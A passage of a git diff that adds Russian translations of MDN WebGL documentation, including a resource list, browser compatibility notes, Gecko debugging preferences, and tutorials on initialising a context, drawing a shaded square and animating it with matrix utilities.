+     <dd><span>Математическая библиотека для работы с векторами и матрицами, написанная на JavaScript, оптимизированная для использования с WebGL.</span></dd>
+     <dt><a class="external" href="http://sylvester.jcoglan.com/" title="http://sylvester.jcoglan.com/">Sylvester</a></dt>
+     <dd>Библиотека с открытым исходным кодом для работы с векторами и матрицами. Не оптимизирована для WebGL, но производительная.</dd>
+     <dt><a class="external" href="http://webglplayground.net" title="http://webglplayground.net">WebGL площадка</a></dt>
+     <dd>Онлайн инструмент для создания и публикации проектов на WebGL. Удобна для быстрого прототипирования и экспериментирования.</dd>
+     <dt><a href="http://www.webglacademy.com" title="http://www.webglacademy.com">Академия WebGL</a></dt>
+     <dd>Редактор HTML/Javascript с учебными материалами для обучения основам программирования на webgl.</dd>
+    </dl>
+   </td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Совместимость_с_браузерами">Совместимость с браузерами</h2>
+
+<h3 id="WebGL_1">WebGL 1</h3>
+
+<div>
+
+
+<p>{{Compat("api.WebGLRenderingContext", 0)}}</p>
+
+<h3 id="WebGL_2">WebGL 2</h3>
+</div>
+
+<div class="hidden">The compatibility table on this page is generated from structured data. If you'd like to contribute to the data, please check out <a href="https://github.com/mdn/browser-compat-data">https://github.com/mdn/browser-compat-data</a> and send us a pull request.</div>
+
+<p>{{Compat("api.WebGL2RenderingContext", 0)}}</p>
+
+<h3 id="Замечания_по_Gecko">Замечания по Gecko</h3>
+
+<h4 id="Отладка_и_тестирование_WebGL">Отладка и тестирование WebGL</h4>
+
+<p>Начиная с Gecko 10.0 {{geckoRelease("10.0")}}, имеются две настройки, позволяющие вам управлять возможностями WebGL для тестирования своего кода:</p>
+
+<dl>
+ <dt><code>webgl.min_capability_mode</code></dt>
+ <dd>Свойство типа Boolean которое, при значении <code>true</code> позволяет запускать режим минимальных функциональных возможностей. В этом режиме WebGL сконфигурирован осуществлять поддержку минимального набора функциональных возможностей, поддержка которых обязательна по спецификации WebGL. Это позволяет вам убедиться в том, что ваш код на WebGL будет работать на любом устройстве или браузере, независимо от их возможностей. Значением по умолчанию для это свойства является значение <code>false</code>.</dd>
+ <dt><code>webgl.disable_extensions</code></dt>
+ <dd>Свойство типа Boolean которое, при значении <code>true</code> отключает все расширения WebGL. Значением по умолчанию для это свойства является значение <code>false</code>.</dd>
+</dl>
diff --git a/files/ru/web/api/webgl_api/tutorial/adding_2d_content_to_a_webgl_context/index.html b/files/ru/web/api/webgl_api/tutorial/adding_2d_content_to_a_webgl_context/index.html
new file mode 100644
index 0000000000..98198d8f7e
--- /dev/null
+++ b/files/ru/web/api/webgl_api/tutorial/adding_2d_content_to_a_webgl_context/index.html
@@ -0,0 +1,223 @@
+---
+title: Добавление двухмерного контента в контекст WebGL
+slug: Web/API/WebGL_API/Tutorial/Adding_2D_content_to_a_WebGL_context
+tags:
+  - WebGL
+translation_of: Web/API/WebGL_API/Tutorial/Adding_2D_content_to_a_WebGL_context
+---
+<p>{{WebGLSidebar("Tutorial")}} {{PreviousNext("Web/API/WebGL_API/Tutorial/Getting_started_with_WebGL", "Web/API/WebGL_API/Tutorial/Using_shaders_to_apply_color_in_WebGL")}}</p>
+
+<p>После того, как вы успешно <a href="/ru/docs/Web/WebGL/Getting_started_with_WebGL" title="en/WebGL/Getting started with WebGL">создали контекст WebGL</a>, вы можете начинать отображать в нем графические объекты. Простейшая вещь, которую вы можете сделать - отрисовать простой квадрат без текстуры. Итак, начнём построение кода для отрисовки квадрата.</p>
+
+<h2 id="Отрисовка_сцены">Отрисовка сцены</h2>
+
+<p>На данном этапе очень важно понять одну вещь: не смотря на то, что мы в этом примере отрисовываем двухмерный объект, мы по-прежнему отрисовываем его в трехмерном пространстве. По существу, нам по-прежнему необходимо создать шейдеры, которые будут освещать нашу простую сцену,  и отрисовать наш объект. На данном шаге определим как квадрат будет освещаться.</p>
+
+<h3 id="Инициализация_шейдеров">Инициализация шейдеров</h3>
+
+<p>Шейдеры задаются при помощи языка высокого уровня для программирования шейдеров - <a class="external" href="http://www.khronos.org/registry/gles/specs/2.0/GLSL_ES_Specification_1.0.17.pdf" title="http://www.khronos.org/registry/gles/specs/2.0/GLSL_ES_Specification_1.0.17.pdf">OpenGL ES Shading Language</a>. Для того, чтобы сделать проще процесс поддержки и обновления нашего контента, мы можем фактически написать наш код, загружающий шейдеры и помещающий их в HTML документ, вместо того, чтобы встраивать его весь в JavaScript. Давайте рассмотрим нашу процедуру <code>initShaders()</code>, которая выполнит эту задачу:</p>
+
+<pre class="brush: js">function initShaders() {
+  var fragmentShader = getShader(gl, "shader-fs");
+  var vertexShader = getShader(gl, "shader-vs");
+
+  // создать шейдерную программу
+
+  shaderProgram = gl.createProgram();
+  gl.attachShader(shaderProgram, vertexShader);
+  gl.attachShader(shaderProgram, fragmentShader);
+  gl.linkProgram(shaderProgram);
+
+  // Если создать шейдерную программу не удалось, вывести предупреждение
+
+  if (!gl.getProgramParameter(shaderProgram, gl.LINK_STATUS)) {
+    alert("Unable to initialize the shader program.");
+  }
+
+  gl.useProgram(shaderProgram);
+
+  vertexPositionAttribute = gl.getAttribLocation(shaderProgram, "aVertexPosition");
+  gl.enableVertexAttribArray(vertexPositionAttribute);
+}
+
+</pre>
+
+<p>Этой процедурой загружаются две шейдерные программы. Первая - фрагментный шейдер, загружается из элемента <a href="/en/HTML/Element/Script" title="En/HTML/Element/Script"><code>script</code></a> с ID "shader-fs". Вторая - вершинный шейдер, загружается из элемента <a href="/en/HTML/Element/Script" title="En/HTML/Element/Script"><code>script</code></a> с ID "shader-vs". Мы рассмотрим функцию <code>getShader()</code> чуть ниже. Эта процедура фактически отвечает за извлечение шейдерных программ из DOM.</p>
+
+<p>Затем мы создаем шейдерную программу, вызывая функцию <code>createProgram()</code> объекта WebGL, присоединяя два шейдера к нему, и связывая шейдерную программу. После выполнения этого, проверяется значение параметра <code>LINK_STATUS</code> объекта <code>gl</code> для того, чтобы убедиться, что программа успешно скомпанована. Если это так, мы активируем новую шейдерную программу.</p>
+
+<h3 id="Загрузка_шейдеров_из_DOM">Загрузка шейдеров из DOM</h3>
+
+<p>Функция <code>getShader()</code> получает из DOM шейдерную программу с определенным именем, возвращая скомпилированную шейдерную программу вызывающему, или значение null, если шейдерная программа не может быть загружена или скомпилирована.</p>
+
+<pre class="brush: js">function getShader(gl, id) {
+  var shaderScript, theSource, currentChild, shader;
+
+  shaderScript = document.getElementById(id);
+
+  if (!shaderScript) {
+    return null;
+  }
+
+  theSource = "";
+  currentChild = shaderScript.firstChild;
+
+  while(currentChild) {
+    if (currentChild.nodeType == currentChild.TEXT_NODE) {
+      theSource += currentChild.textContent;
+    }
+
+    currentChild = currentChild.nextSibling;
+  }
+</pre>
+
+<p>Как только элемент с указанным ID найден, его текст помещается в переменную <code>theSource</code>.</p>
+
+<pre class="brush: js">  if (shaderScript.type == "x-shader/x-fragment") {
+    shader = gl.createShader(gl.FRAGMENT_SHADER);
+  } else if (shaderScript.type == "x-shader/x-vertex") {
+    shader = gl.createShader(gl.VERTEX_SHADER);
+  } else {
+     // неизвестный тип шейдера
+     return null;
+  }</pre>
+
+<p>После того, как код для шейдера считан, мы проверяем MIME тип шейдерного объекта, чтобы определить является он вершинным (MIME type "x-shader/x-vertex") или фрагментным (MIME type "x-shader/x-fragment") шейдером, а затем создаем соответствующий тип шейдера из полученного исходного кода.</p>
+
+<pre class="brush: js">  gl.shaderSource(shader, theSource);
+
+  // скомпилировать шейдерную программу
+  gl.compileShader(shader);
+
+  // Проверить успешное завершение компиляции
+  if (!gl.getShaderParameter(shader, gl.COMPILE_STATUS)) {
+      alert("An error occurred compiling the shaders: " + gl.getShaderInfoLog(shader));
+      return null;
+  }
+
+  return shader;
+}
+</pre>
+
+<p>В результате, исходный код, передан в переменную shader и скомпилирован. Если произошли ошибки во время компиляции кода шейдера, мы отображаем окно с предупреждением и возвращаем значение null; Иначе, возвращается новый скомпилированный шейдер.</p>
+
+<h3 id="Шейдеры">Шейдеры</h3>
+
+<p>После этого нам необходимо добавить шейдерные программы в HTML описывающий наш документ. Подробная информация о том, как работают шейдеры выходит за рамки этой статьи, как и впрочем описание синтаксиса языка программирования шейдеров.</p>
+
+<h4 id="Фрагментный_шейдер">Фрагментный шейдер</h4>
+
+<p>Каждый пиксель в полигоне называется <strong>фрагментом</strong> в языке GL. Фрагментные шейдеры необходимы для назначения цвета для каждого пикселя. В данном случае, мы просто назначаем белый цвет каждому пикселю.</p>
+
+<p><code>gl_FragColor</code> - встроенная переменная GL, используемая для управления цветом фрагментов. Устанавливая ее значение назначаем цвет пикселям. Ниже приведен пример этого.</p>
+
+<pre class="brush: html">&lt;script id="shader-fs" type="x-shader/x-fragment"&gt;
+  void main(void) {
+    gl_FragColor = vec4(1.0, 1.0, 1.0, 1.0);
+  }
+&lt;/script&gt;
+</pre>
+
+<h4 id="Вершинный_шейдер">Вершинный шейдер</h4>
+
+<p>Вершинный шейдер определяет положение и форму каждой вершины.</p>
+
+<pre class="brush: html">&lt;script id="shader-vs" type="x-shader/x-vertex"&gt;
+  attribute vec3 aVertexPosition;
+
+  uniform mat4 uMVMatrix;
+  uniform mat4 uPMatrix;
+
+  void main(void) {
+    gl_Position = uPMatrix * uMVMatrix * vec4(aVertexPosition, 1.0);
+  }
+&lt;/script&gt;
+</pre>
+
+<h2 id="Создание_объекта">Создание объекта</h2>
+
+<p>Перед тем, как мы отрисуем наш квадрат, нам необходимо создать буфер, который содержит его вершины. Мы сделаем это,  вызвав функцию <code>initBuffers().</code> По мере ознакомления с другими концепциями WebGL, эта функция будет усложняться при создании более сложных трехмерных объектов.</p>
+
+<pre class="brush: js">var horizAspect = 480.0/640.0;
+
+function initBuffers() {
+  squareVerticesBuffer = gl.createBuffer();
+  gl.bindBuffer(gl.ARRAY_BUFFER, squareVerticesBuffer);
+
+  var vertices = [
+    1.0,  1.0,  0.0,
+    -1.0, 1.0,  0.0,
+    1.0,  -1.0, 0.0,
+    -1.0, -1.0, 0.0
+  ];
+
+  gl.bufferData(gl.ARRAY_BUFFER, new Float32Array(vertices), gl.STATIC_DRAW);
+}
+</pre>
+
+<p>В этом примере эта функция упрощена и дает оценить основную суть сцены. Она начинает работу с вызова метода <code>createBuffer()</code> объекта <code>gl</code> для получения буфера, в котором мы будем хранить вершины. Затем он привязывается к контексту, вызовом метода <code>bindBuffer()</code>.</p>
+
+<p>После того, как мы это сделали, мы создаем JavaScript массив, содержащий координаты для каждой вершины квадрата. Затем этот массив преобразуется в массив вещественных чисел WebGL и передается в метод <code>bufferData()</code> объекта <code>gl</code> для назначения вершин объекту.</p>
+
+<h2 id="Отрисовка_сцены_2">Отрисовка сцены</h2>
+
+<p>Как только шейдеры установлены и объект создан, мы можем действительно отрисовать сцену. Поскольку в этом примере нет какой-либо анимации, наша функция <code>drawScene()</code> имеет очень простой вид. Она использует несколько утилитарных процедур, которые мы кратко рассмотрим ниже.</p>
+
+<pre class="brush: js">function drawScene() {
+  gl.clear(gl.COLOR_BUFFER_BIT | gl.DEPTH_BUFFER_BIT);
+
+  perspectiveMatrix = makePerspective(45, 640.0/480.0, 0.1, 100.0);
+
+  loadIdentity();
+  mvTranslate([-0.0, 0.0, -6.0]);
+
+  gl.bindBuffer(gl.ARRAY_BUFFER, squareVerticesBuffer);
+  gl.vertexAttribPointer(vertexPositionAttribute, 3, gl.FLOAT, false, 0, 0);
+  setMatrixUniforms();
+  gl.drawArrays(gl.TRIANGLE_STRIP, 0, 4);
+}
+</pre>
+
+<p>Первый шаг - очистка цветом фона сцены контекста. Затем мы устанавливаем перспективу камеры. Мы устанавливаем угол обзора в 45°, с соотношением ширины к высоте равным 640/480 (размеры нашего объекта canvas). Мы также определяем, что мы хотим видеть отрисованными объекты на расстоянии от 0.1 до 100 единиц от камеры.</p>
+
+<p>Затем мы устанавливаем позицию квадрата, загружая определенную позицию и размещая ее от камеры на 6 единиц. После этого, мы привязываем буфер, содержащий вершины квадрата к контексту, настраиваем его, и отрисовываем объект, вызывая метод <code>drawArrays()</code>.</p>
+
+<p>Вы можете <a href="/samples/webgl/sample2" title="https://developer.mozilla.org/samples/webgl/sample2">посмотреть как это работает щелкнув по этой ссылке</a>. Но это только в том случае, если используемый браузер осуществляет поддержку WebGL.</p>
+
+<h2 id="Операции_над_матрицами">Операции над матрицами</h2>
+
+<p>Операции над матрицами достаточно сложны. Никому бы не хотелось самому писать весь код для работы с ними. К счастью, есть <a class="external" href="http://sylvester.jcoglan.com/" title="http://sylvester.jcoglan.com/">Sylvester</a> - очень удобная библиотека для выполнения операций над векторами и матрицами, написанная на JavaScript.</p>
+
+<p>Файл <code>glUtils.js</code>, используемый в этом примере, используется большинством примеров на WebGL, размещенных в сети интернет. Никто не знает точно откуда он появился. Он просто используется Sylvester и он даже пополняется методами для построения специальных типов матриц, а также вывода HTML для их отображения.</p>
+
+<p>Также, этот пример определяет несколько полезных процедур взаимодействия с этими библиотеками для выполнения определенных задач. Пояснения относительно того, что делает каждая из приведенных функций, выходят за рамки этого примера, но в сети есть много хороших материалов об операциях над матрицами. Чуть {{ anch("ниже") }} есть список некоторых из них.</p>
+
+<pre class="brush: js">function loadIdentity() {
+  mvMatrix = Matrix.I(4);
+}
+
+function multMatrix(m) {
+  mvMatrix = mvMatrix.x(m);
+}
+
+function mvTranslate(v) {
+  multMatrix(Matrix.Translation($V([v[0], v[1], v[2]])).ensure4x4());
+}
+
+function setMatrixUniforms() {
+  var pUniform = gl.getUniformLocation(shaderProgram, "uPMatrix");
+  gl.uniformMatrix4fv(pUniform, false, new Float32Array(perspectiveMatrix.flatten()));
+
+  var mvUniform = gl.getUniformLocation(shaderProgram, "uMVMatrix");
+  gl.uniformMatrix4fv(mvUniform, false, new Float32Array(mvMatrix.flatten()));
+}
+</pre>
+
+<h2 id="Смотрите_также">Смотрите также</h2>
+
+<ul>
+ <li><a class="external" href="http://mathworld.wolfram.com/Matrix.html" title="http://mathworld.wolfram.com/Matrix.html">Матрицы</a> на Wolfram MathWorld</li>
+ <li><a class="external" href="http://en.wikipedia.org/wiki/Matrix_(mathematics)" title="http://en.wikipedia.org/wiki/Matrix_(mathematics)">Матрица</a> (Wikipedia)</li>
+</ul>
+
+<p>{{PreviousNext("Web/API/WebGL_API/Tutorial/Getting_started_with_WebGL", "Web/API/WebGL_API/Tutorial/Using_shaders_to_apply_color_in_WebGL")}}</p>
diff --git a/files/ru/web/api/webgl_api/tutorial/animating_objects_with_webgl/index.html b/files/ru/web/api/webgl_api/tutorial/animating_objects_with_webgl/index.html
new file mode 100644
index 0000000000..6d18ab5490
--- /dev/null
+++ b/files/ru/web/api/webgl_api/tutorial/animating_objects_with_webgl/index.html
@@ -0,0 +1,123 @@
+---
+title: Оживление объектов при помощи WebGL
+slug: Web/API/WebGL_API/Tutorial/Animating_objects_with_WebGL
+tags:
+  - WebGL
+translation_of: Web/API/WebGL_API/Tutorial/Animating_objects_with_WebGL
+---
+<p>{{WebGLSidebar("Tutorial")}} {{PreviousNext("Web/API/WebGL_API/Tutorial/Using_shaders_to_apply_color_in_WebGL", "Web/API/WebGL_API/Tutorial/Creating_3D_objects_using_WebGL") }}</p>
+
+<p>Наш код оставшийся от предыдущего примера уже насроен на перерисовку нашей WebGL сцены каждые 15 миллисекунд. До сих пор мы просто отрисовывали в точности одно и то же каждый раз. Пришло время изменить это так, чтобы наш квадрат начал двигаться.</p>
+
+<p>В этом примере мы заставим наш двумерный квадрат вращаться и двигаться во всех трёх направлениях. Это докажет, что не смотря на то, что мы создавали всего-лишь двумерный объект, он всё ещё существует в трёхмерном пространстве.</p>
+
+<h2 id="Заставим_квадрат_вращаться">Заставим квадрат вращаться</h2>
+
+<p>Давайте начнём с того, что заставим квадрат вращаться. Для начала нам понадобится переменная значение в которой будет отражать текущий угол поворота нашего квадрата:</p>
+
+<pre class="brush: js">var squareRotation = 0.0;
+</pre>
+
+<p>Теперь нам надо изменить процедуру <code>drawScene()</code> и добавить в неё код, который бы учитывал этот угол поворота при отрисовке квадрата в нашей сцене. После первоначального рассчёта матрицы положения для квадрата мы применяем условия поворота следующим образом:</p>
+
+<pre class="brush: js">mvPushMatrix();
+mvRotate(squareRotation, [1, 0, 1]);
+</pre>
+
+<p>Этот код сохраняет матрицу текущего положения, затем поворачивает матрицу на текущее значение переменной <code>squareRotation</code> вокруг осей X и Z.</p>
+
+<p>После отрисовки мы восстанавливаем изначальное состояние матрицы положения:</p>
+
+<pre class="brush: js">  mvPopMatrix();
+</pre>
+
+<p>Мы сохраняем и восстанавливаем состояние матрицы положения чтобы избежать влияние поворота на другие объекты, которые мы можем захотеть отобразить.</p>
+
+<p>Чтобы заставить квадрат крутиться нам нужно добавить в программу код, который будет изменять значение переменной <code>squareRotation</code> во времени. Для этого мы заведём ещё одну переменную в которую будем записывать время последней отрисовки (давайте назовём её <code>lastSquareUpdateTime</code>), затем добавим следующий код в конец нашей процедуры <code>drawScene()</code>:</p>
+
+<pre class="brush: js">  var currentTime = (new Date).getTime();
+  if (lastSquareUpdateTime) {
+  	var delta = currentTime - lastSquareUpdateTime;
+
+  	squareRotation += (30 * delta) / 1000.0;
+  }
+
+  lastSquareUpdateTime = currentTime;
+</pre>
+
+<p>Этот код использует количество времени прошедшего с момента, когда мы в последний раз изменяли значение переменной <code>squareRotation</code> чтобы определить как сильно нужно повернуть квадрат.</p>
+
+<h2 id="Сделаем_так_чтобы_квадрат_начал_двигаться">Сделаем так, чтобы квадрат начал двигаться</h2>
+
+<p>Мы можем также заставить наш квадрат двигаться изменяя его позицию перед отрисовкой. Этим примером мы собираемся продемонстрировать самые основные движения, очевидно, что в реальном мире вы бы сделали что-нибудь менее безумное.</p>
+
+<p>Давайте отслеживать сдвиг положения квадрата по каждой оси в новых переменных:</p>
+
+<pre class="brush: js">var squareXOffset = 0.0;
+var squareYOffset = 0.0;
+var squareZOffset = 0.0;
+</pre>
+
+<p>И расстояние на которое нужно сместить квадрат по каждой из осей в следующих переменных:</p>
+
+<pre class="brush: js">var xIncValue = 0.2;
+var yIncValue = -0.4;
+var zIncValue = 0.3;
+</pre>
+
+<p>Теперь мы можем просто добавить следующий код к уже написанному, который обновляет положение угла поворота:</p>
+
+<pre class="brush: js">    squareXOffset += xIncValue * ((30 * delta) / 1000.0);
+    squareYOffset += yIncValue * ((30 * delta) / 1000.0);
+    squareZOffset += zIncValue * ((30 * delta) / 1000.0);
+
+    if (Math.abs(squareYOffset) &gt; 2.5) {
+      xIncValue = -xIncValue;
+      yIncValue = -yIncValue;
+      zIncValue = -zIncValue;
+    }
+</pre>
+
+<p>И, наконец, мы добавляем в процедуру <code>drawScene()</code> следующий код:</p>
+
+<pre class="brush: js">mvTranslate([squareXOffset, squareYOffset, squareZOffset]);</pre>
+
+<p>Это заставит наш квадрат двигаться по экрану, приближаясь и удаляясь от наблюдателя и при этом ещё и вращаться. Это похоже на работу заставки</p>
+
+<p>Если ваш браузер поддерживает работу с WebGL, <a href="/samples/webgl/sample4/index.html" title="https://developer.mozilla.org/samples/webgl/sample4/index.html">проследуйте по этой ссылке, чтобы посмотреть на этот пример</a> в действии.</p>
+
+<h2 id="Больше_операций_с_матрицами">Больше операций с матрицами</h2>
+
+<p>Этот пример использует несколько дополнительных операций над матрицами включая две утилиты для работы со стэком состояния матриц и одну, поворачивающую матрицу положения на заданное количество градусов. Далее приведён код для вашего удобства:</p>
+
+<pre class="brush: js">var mvMatrixStack = [];
+
+function mvPushMatrix(m) {
+  if (m) {
+    mvMatrixStack.push(m.dup());
+    mvMatrix = m.dup();
+  } else {
+    mvMatrixStack.push(mvMatrix.dup());
+  }
+}
+
+function mvPopMatrix() {
+  if (!mvMatrixStack.length) {
+    throw("Can't pop from an empty matrix stack.");
+  }
+
+  mvMatrix = mvMatrixStack.pop();
+  return mvMatrix;
+}
+
+function mvRotate(angle, v) {
+  var inRadians = angle * Math.PI / 180.0;
+
+  var m = Matrix.Rotation(inRadians, $V([v[0], v[1], v[2]])).ensure4x4();
+  multMatrix(m);
+}
+</pre>
+
+<p>Эти утилиты были заимствованы из примера разработанного Владом Вукицевичем (Vlad Vukićević).</p>
+
+<p>{{PreviousNext("Web/API/WebGL_API/Tutorial/Using_shaders_to_apply_color_in_WebGL", "Web/API/WebGL_API/Tutorial/Creating_3D_objects_using_WebGL") }}</p>
diff --git a/files/ru/web/api/webgl_api/tutorial/getting_started_with_webgl/index.html b/files/ru/web/api/webgl_api/tutorial/getting_started_with_webgl/index.html
new file mode 100644
index 0000000000..0e50af82fa
--- /dev/null
+++ b/files/ru/web/api/webgl_api/tutorial/getting_started_with_webgl/index.html
@@ -0,0 +1,104 @@
+---
+title: Начало работы с WebGL
+slug: Web/API/WebGL_API/Tutorial/Getting_started_with_WebGL
+tags:
+  - WebGL
+translation_of: Web/API/WebGL_API/Tutorial/Getting_started_with_WebGL
+---
+<p>{{WebGLSidebar("Tutorial")}} {{Next("Web/API/WebGL_API/Tutorial/Adding_2D_content_to_a_WebGL_context")}}</p>
+
+<p><a class="external" href="http://www.khronos.org/webgl/" title="http://www.khronos.org/webgl/">WebGL</a> позволяет веб-контенту использовать API, основанный на <a class="external" href="http://www.khronos.org/opengles/" title="http://www.khronos.org/opengles/">OpenGL ES</a> 2.0, для визуализации трехмерной графики без использования плагинов в HTML элементе <a class="internal" href="/en/HTML/Canvas" title="en/HTML/Canvas"><code>canvas</code></a> в браузерах, которые осуществляют его поддержку. WebGL программы состоят из кода управления, написанном на JavaScript и кода специальных эффектов (шейдерного кода), который выполняется на графическом процессоре. WebGL элементы могут быть смешаны с другими HTML элементами и собраны с другими частями веб-страницы или фоном веб-страницы.</p>
+
+<p>Эта статья знакомит вас с основами использования WebGL. Предполагается, что вы уже знакомы с математическими основами трехмерной графики. Данная статья не обучит вас OpenGL.</p>
+
+<h2 id="Подготовка_к_визуализации_в_3D">Подготовка к визуализации в 3D</h2>
+
+<p>Первое, что вам понадобится для использования WebGL для визуализации в 3D - это элемент canvas. Фрагмент на HTML ниже содержит элемент canvas и определяет обработчик события <code>onload</code>, которое инициализирует наш контекст WebGL.</p>
+
+<pre class="brush: html">&lt;body onload="start()"&gt;
+  &lt;canvas id="glcanvas" width="640" height="480"&gt;
+    Your browser doesn't appear to support the HTML5 &lt;code&gt;&amp;lt;canvas&amp;gt;&lt;/code&gt; element.
+  &lt;/canvas&gt;
+&lt;/body&gt;
+</pre>
+
+<h3 id="Подготовка_контекста_WebGL">Подготовка контекста WebGL</h3>
+
+<p>Функция <code>start()</code>, в нашем JavaScript коде вызывается после загрузки документа. Ее назначение - настройка контекста WebGL и начать отрисовку содержимого.</p>
+
+<pre class="brush: js">var gl; // глобальная переменная для контекста WebGL
+
+function start() {
+  var canvas = document.getElementById("glcanvas");
+
+  gl = initWebGL(canvas);      // инициализация контекста GL
+
+  // продолжать только если WebGL доступен и работает
+
+  if (gl) {
+    gl.clearColor(0.0, 0.0, 0.0, 1.0);                      // установить в качестве цвета очистки буфера цвета черный, полная непрозрачность
+    gl.enable(gl.DEPTH_TEST);                               // включает использование буфера глубины
+    gl.depthFunc(gl.LEQUAL);                                // определяет работу буфера глубины: более ближние объекты перекрывают дальние
+    gl.clear(gl.COLOR_BUFFER_BIT|gl.DEPTH_BUFFER_BIT);      // очистить буфер цвета и буфер глубины.
+  }
+}
+</pre>
+
+<p>Первое, что мы здесь делаем - получаем ссылку на элемент canvas, помещаем ее в переменную <code>canvas</code>. Очевидно, что если вам не требуется многократно получать ссылку на canvas, вы должны избежать сохранения этого значения глобально, а только сохранить ее в локальной переменной или в поле объекта.</p>
+
+<p>Как только мы получили ссылку на canvas, мы вызываем функцию <code>initWebGL()</code>; Эту функцию мы определяем незамедлительно, ее работа - инициализировать контекст WebGL.</p>
+
+<p>Если контекст успешно инициализирован, в <code>gl</code> будет содержаться ссылка на него. В этом случае, мы устанавливаем цвет очистки буфера цвета (цвет фона) на черный, затем очищаем контекст этим цветом. После этого, контекст конфигурируется параметрами настройки. В данном случае, мы включаем буфер глубины и определяем, что более близкие объекты будут перекрывать более дальние.</p>
+
+<p>Всё вышеперечисленное необходимо сделать только для первоначальной инициализации. Чуть позже мы увидим работу по визуализации трехмерных объектов.</p>
+
+<h3 id="Создание_контекста_WebGL">Создание контекста WebGL</h3>
+
+<p>Функция <code>initWebGL()</code> выглядит следующим образом:</p>
+
+<pre class="brush: js">function initWebGL(canvas) {
+  gl = null;
+
+  try {
+    // Попытаться получить стандартный контекст. Если не получится, попробовать получить экспериментальный.
+    gl = canvas.getContext("webgl") || canvas.getContext("experimental-webgl");
+  }
+  catch(e) {}
+
+  // Если мы не получили контекст GL, завершить работу
+  if (!gl) {
+    alert("Unable to initialize WebGL. Your browser may not support it.");
+    gl = null;
+  }
+
+  return gl;
+}
+
+</pre>
+
+<p>Чтобы получить контекст WebGL для canvas, мы запрашиваем у элемента canvas контекст именуемый как "webgl". Если данная попытка завершается неудачно, мы пытаемся получить контекст, именуемый как "experimental-webgl". Если данная попытка также завершается неудачно, мы отображаем окно с предупреждением, позволяющим пользователю понять, что его браузер не поддерживает WebGL. Это всё, что необходимо сделать. На данном этапе мы будем иметь в переменной <code>gl</code> либо значение null (означающее, что контекст WebGL не доступен), либо ссылку на контекст WebGL в котором, мы будем производить отрисовку.</p>
+
+<div class="note"><strong>Обратите внимание:</strong> Контекст, именуемый как "experimental-webgl" - это временное имя для контекста, используемое на время процесса разработки спецификации. После того, как спецификация будет полностью разработана будет использоваться только имя контекста "webgl".</div>
+
+<p>На данном этапе этого кода достаточно, чтобы успешно инициализировать контекст WebGL, и вы увидите пустой черный блок, готовый к заполнению контентом.</p>
+
+<p>Если ваш браузер поддерживает WebGL, то вы можете посмотреть результат выполнения приведенного выше кода, щелкнув по этой <a href="/samples/webgl/sample1/index.html" title="https://developer.mozilla.org/samples/webgl/sample1/index.html">ссылке</a>.</p>
+
+<h3 id="Изменение_размера_контекста_WebGL">Изменение размера контекста WebGL</h3>
+
+<p>Новый контекст WebGL будет иметь возможность задания размеров области отображения в момент получения контекста путем задания высоты и ширины элемента canvas, без использования CSS. Редактирование стиля элемента canvas будет изменять его отображаемый размер, без изменения размеров области отрисовки. Редактирование атрибутов ширины и высоты элемента canvas после создания контекста не будет также изменять число пикселей для отрисовки. Чтобы изменить размер области отрисовки, с которой WebGL производит работу, например, когда пользователь изменяет размер окна на весь экран или когда вам необходимо менять настройки графики в самом приложении, вам необходимо вызвать контекстную функцию WebGL <code>viewport()</code>, чтобы подтвердить изменения.</p>
+
+<p>Чтобы изменить размер области отрисовки контекста WebGL с переменными <code>gl</code> и <code>canvas</code>, использующимися в примере выше:</p>
+
+<pre class="brush: js">gl.viewport(0, 0, canvas.width, canvas.height);</pre>
+
+<p>Элемент canvas будет изменять размер, в случае, если его отрисовать с другими размерами области отрисовки, чем те, что указаны в его стилях CSS, согласно которым он занимает место на экране. Изменение размера с помощью CSS наиболее полезно для сохранения ресурсов, отрисовывая с низким разрешением и позволяя браузеру растягивать полученный результат; сжимать возможно при использовании эффекта избыточной выборки сглаживания ( super sample antialiasing - SSAA) (приводит к менее приемлемым результатам и серьезным потерям производительности). В большинстве случаев лучше полагаться на множественную выборку сглаживания (<abbr style="line-height: 24px;" title='"Multisample'>MSAA) и </abbr>на реализацию алгоритмов фильтрации текстур, которые поддерживаются браузером пользователя, чем делать то же самое посредством грубой силы и надеяться, что алгоритм масштабирования изображений, используемый браузером, выдаст красивый результат.</p>
+
+<h3 id="Смотрите_также">Смотрите также</h3>
+
+<ul>
+ <li><a href="https://dev.opera.com/articles/introduction-to-webgl-part-1/">Введение в WebGL</a> - Автор: Luz Caballero Ресурс: DEV.OPERA. Эта статья адресована тем, кто хочет узнать что такое WebGL, как работает WebGL и как устроена концепция конвейера визуализации и знакомит с некоторыми библиотеками WebGL.</li>
+ <li><a href="http://duriansoftware.com/joe/An-intro-to-modern-OpenGL.-Table-of-Contents.html">Введение в современный OpenGL</a> - Серия хороших статей о OpenGL, написанная Joe Groff. В них дана вводная информация о OpenGL, начиная с истории возникновения и заканчивая важной концепцией графического конвейера. Весь материал сопровождается примерами с демонстрацией работы OpenGL. Если вы не знакомы с OpenGL, этот материал будет вам полезен.</li>
+</ul>
+
+<p>{{Next("Web/API/WebGL_API/Tutorial/Adding_2D_content_to_a_WebGL_context")}}</p>
diff --git a/files/ru/web/api/webgl_api/tutorial/index.html b/files/ru/web/api/webgl_api/tutorial/index.html
new file mode 100644
index 0000000000..6f689fa9c3
--- /dev/null
+++ b/files/ru/web/api/webgl_api/tutorial/index.html
@@ -0,0 +1,39 @@
+---
+title: WebGL tutorial
+slug: Web/API/WebGL_API/Tutorial
+tags:
+  - WebGL
+translation_of: Web/API/WebGL_API/Tutorial
+---
+<div>{{WebGLSidebar}}</div>
+
+<div class="summary">
+<p><a class="external" href="http://www.khronos.org/webgl/" title="http://www.khronos.org/webgl/">WebGL</a> позволяет использовать API, основанную на <a class="external" href="http://www.khronos.org/opengles/" title="http://www.khronos.org/opengles/">OpenGL ES</a> 2.0  для осуществления 3D рендеринга в HTML {{HTMLElement("canvas")}} в браузерах, которые его поддерживают без использования плагинов. WebGL программы состоят из программ, написанных на JavaScript, и специального кода шейдеров, который выполняется на видеокарте. WebGL элементы  могут использоваться с HTML элементами и скомпонованы с другими частями страницы или бэкграунда страницы.</p>
+</div>
+
+<p><span class="seoSummary">В этом руководстве с нуля рассказывается о том, как использовать элемент<code>&lt;canvas&gt;</code> для отрисовки WebGL. Предоставленные примеры помогут вам понять, как можно использовать WebGL, также вы сможете использовать код из примеров как сниппеты для ваших разработок.</span></p>
+
+<h2 id="Перед_тем_как_начать">Перед тем как начать</h2>
+
